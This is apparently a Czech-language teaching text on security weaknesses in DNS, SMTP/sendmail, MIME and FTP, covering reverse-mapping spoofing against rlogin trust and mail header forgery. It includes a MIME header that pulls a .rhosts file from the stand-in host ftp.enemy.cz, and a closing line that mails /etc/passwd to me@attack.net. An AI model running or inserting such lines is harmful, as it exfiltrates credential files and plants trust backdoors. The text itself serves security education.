DNS (Domain Name System) je distribuovaná databáze, která zobrazuje symbolická jména počítačů na síťové adresy a naopak. Někdy se také nazývá BIND (Berkeley Inernet Name Daemon) podle své nejčastější implementace. DNS pracuje na portu 53 na obou stranách jak při použití služeb TCP, tak služeb UDP. V normálním režimu používají koncové počítače protokol UDP. Protokol TCP je používán ke komunikaci mezi dvěma DNS servery k tzv. zónovým přenosům (zone transfer). Zónové přenosy slouží k zálohování databází z primárního serveru na sekundární. (Na primárním serveru správce udržuje databázi a ta se pak automaticky přenáší na sekundární servery - ty dělají zálohu pro případ výpadku primárního serveru.)
Tato služba může být zneužita pro získání jmen počítačů v zóně neoprávněným subjektem. V databázi DNS jsou uchovávány informace o struktuře domény, textové informace o počítačích, adresy poštovních serverů atd. Útočník pak může použít tyto informace ke zjištění např. organizační struktury, používaných operačních systémech atd.
DNS organizuje počítače v hierarchii domén. Doména je skupina počítačů, které jsou v nějakém vztahu vůči sobě (buď tvoří nějakou organizační jednotku nebo jsou prostě geograficky blízko sebe). Např. doména .edu je vyhrazena pro americké univerzity, naproti tomu .cz sdružuje počítače patřící do České republiky. V doméně se mohou vyskytovat jak koncové počítače, tak subdomény, které se opět mohou dělit, kvůli lepší údržbě a snazší symbolické identifikaci.
Jmenný prostor (name space) se rozděluje na tzv. zóny, které obsluhují různé DNS servery. Rozdíl mezi doménou a zónou je následující: do domény spadají všechny počítače, které mají společné jméno domény, kdežto do zóny patří pouze ty počítače, které mají společný také primární DNS server.
V databázi DNS jsou dva rozdílné stromy dat. První slouží k převodu doménového jména na IP adresu. Druhý strom k převodu IP adresy na doménové jméno počítače. Tomuto se říká reverzní zobrazování (reverse mapping).
Pokud je DNS databáze poškozena, ať už náhodně nebo úmyslně, může dojít k narušení bezpečnosti. Zvláště to platí pro služby typu rlogin. Soubory .rhosts a /etc/host.equiv udržují seznam doménových jmen důvěryhodných počítačů. Pokud je útočník schopen změnit část reverzního mapovacího stromu tak, aby zobrazoval IP adresu důvěryhodného počítače na doménové jméno svého počítače, pak se může pomocí rlogin přihlásit na počítač, který je cílem útoku, bez autentizace. Služby typu rlogin zjišťují z IP adresy došlého požadavku doménové jméno počítače dotazem na DNS server. Odpověď z DNS serveru se potom porovnává se jmény uloženými v .rhosts a /etc/host.equiv. Protože služba rsh dostane falešnou odpověď od napadeného DNS serveru, bude IP adresa požadavku uznána jako adresa důvěryhodného počítače.
Většina novějších implementací však v současnosti používá křížovou kontrolu. Nejdříve zjistí doménové jméno z IP adresy příchozího požadavku a pak se z tohoto doménového jména zjistí přípustné IP adresy. Pouze pokud je IP adresa příchozího požadavku jedna z těchto adres, kontrolují se soubory .rhosts a /etc/host.equiv. Tato kontrola může být uskutečněna v knihovních funkcích typu gethostbyaddr nebo v démonech spoléhajících na autentizaci pomocí doménového jména.
Horší variantou tohoto útoku je případ, kdy útočník změní jak mapovací strom reverzní, tak i dopředný. V tomto případě popisovaná kontrola selže a útočník získá neoprávněný přístup. Varianta tohoto útoku spočívá v pokusu zamořit DNS cache cílového počítače před samotným pokusem o přihlášení. Není proto vhodné spoléhat na autentizaci pomocí doménového jména počítače.
Další problém se skrývá v rutinách resolveru. Většina systémů umožňuje zadávat pouze předponu doménového jména cílového počítače. Pro ilustraci se nacházíme na počítači abc.fi.muni.cz a chceme se připojit na www.cz. Resolver se nejdříve pokusí zjistit IP adresu počítače www.cz.fi.muni.cz, potom www.cz.muni.cz a teprve pak správné www.cz. Jestliže má útočník možnost vytvořit doménu cz.muni.cz, pak může vydávat svůj počítač za www.cz, i když jeho adresa je www.cz.muni.cz.
SMTP (Simple Mail Transfer Protokol) je protokol pro přenos pošty. Tento protokol je jednoduchý a poskytuje málo možností k nepřátelským aktivitám. Protokol byl navržen tak, aby bylo možno posílat poštu ručně, a pošta, která se posílá, může být zformátována uživatelem včetně hlavičky, která specifikuje odesilatele. Není proto vhodné věřit tomu, že poštu odeslal skutečně uživatel, který je v hlavičce uveden (falšování hlaviček je typické pro nevyžádané reklamy, obtěžující dopisy apod.).
Elektronická pošta může být cílem útoku na dostupnost služby. Rozhodne-li se útočník posílat velké množství pošty (několik set MB), může zaplnit disky a spotřebovávat kapacitu procesoru.
Sendmail je nejčastěji používaný program pro elektronickou poštu. Je také znám díky svým problémům s bezpečností. Zdrojový kód je velmi dlouhý (cca 30 000 řádků) a z toho důvodu velmi obtížně zkontrolovatelný. Navíc je sendmail spuštěn z několika důvodů s privilegii superuživatele:
Pokud útočník odhalí nějaké zranitelné místo, ať už v samotném protokolu SMTP nebo v implementaci sendmailu, má možnost komunikovat s programem s největšími možnými privilegii. Chyba v sendmailu byla například zneužita ve slavném Morrisově červu.
Také poštovní rozšíření MIME (Multipurpose Internet Mail Extension) může být cílem útoku. Poštovní klient podporující MIME interpretuje obsah dopisu a spouští akce, které uživatel nadefinuje v závislosti na obsahu. Tyto akce mohou ovlivnit chování systému. Je například možné přepsat soubory .profile, .rhosts apod.:
Content-Type: Message/External Body; name=".rhosts"; site="ftp.enemy.cz"; access-type="anon-ftp"; directory="."; |
Tuto sekvenci může MIME interpretovat tak, že automaticky použije anonymní ftp ke stažení souboru .rhosts z počítače ftp.enemy.cz do aktuálního adresáře.
Pomocí MIME je možné posílat i spustitelné programy nebo postscriptové soubory, které mohou obsahovat nebezpečné příkazy.
File Transfer Protocol je nejčastěji používaná služba pro přenos souborů mezi počítači. FTP server používá dva privilegované TCP porty: 20 pro data a 21 pro příkazy. Z toho důvodu bývá FTP démon spuštěn s privilegii superuživatele. FTP je možno používat ve dvou režimech:
Dobrým nastavením je možné dosáhnout větší bezpečnosti. Je-li je povolen anonymní přístup, je nutné dát pozor především na následující:
| mail me@attack.net </etc/passwd |